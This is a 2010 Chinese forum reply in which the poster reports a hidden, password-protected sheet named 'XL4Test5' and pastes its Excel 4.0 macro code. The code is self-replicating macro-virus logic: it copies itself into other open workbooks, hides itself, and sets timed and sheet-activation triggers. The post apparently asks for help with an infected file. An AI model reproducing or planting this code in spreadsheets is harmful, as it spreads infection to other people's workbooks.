|

楼主 |
发表于 2010-3-24 10:43
|
显示全部楼层
在格式--工作表-取消隐藏(发现有个XL4Test5的表),代码如下:
在工具--保护--撤销保护中发现有密码
**Set Our Values and Paths**
=SET.VALUE($A$5,(GET.WORKSPACE(23) & "\Book1."))
=SET.NAME("Document_array", DOCUMENTS())
=SET.VALUE($A$3, INDEX(Document_array,2))
=SET.VALUE($A$4, INDEX(Document_array,1))
=SET.VALUE($A$6,GET.DOCUMENT(3,"["&A3&"]"&"XL4Test5"))
=RETURN()
**Infect Workbook**
=RUN(C4)
=ERROR(TRUE,Bust)
=IF(A6=3)
=RETURN()
=ERROR(FALSE)
=ACTIVATE.PREV()
=RUN(C4)
=WORKBOOK.COPY("XL4Test5",A3)
=END.IF()
=RETURN()
**Auto and On Sheet Starts Here**
=RUN(C3)
=OPTIONS.GENERAL(,,,,,,"VNN.R9")
=ERROR(TRUE, Continue)
=WORKBOOK.HIDE("XL4Test5",0)
=IF(A6=3)
=RETURN()
=END.IF()
=ERROR(FALSE)
=RUN(A10)
=ON.TIME("5:00:00 PM", "!?.")
=ON.TIME("11:30:00 AM", ">?.")
=ON.SHEET(,"Test5",TRUE)
=RETURN() |
|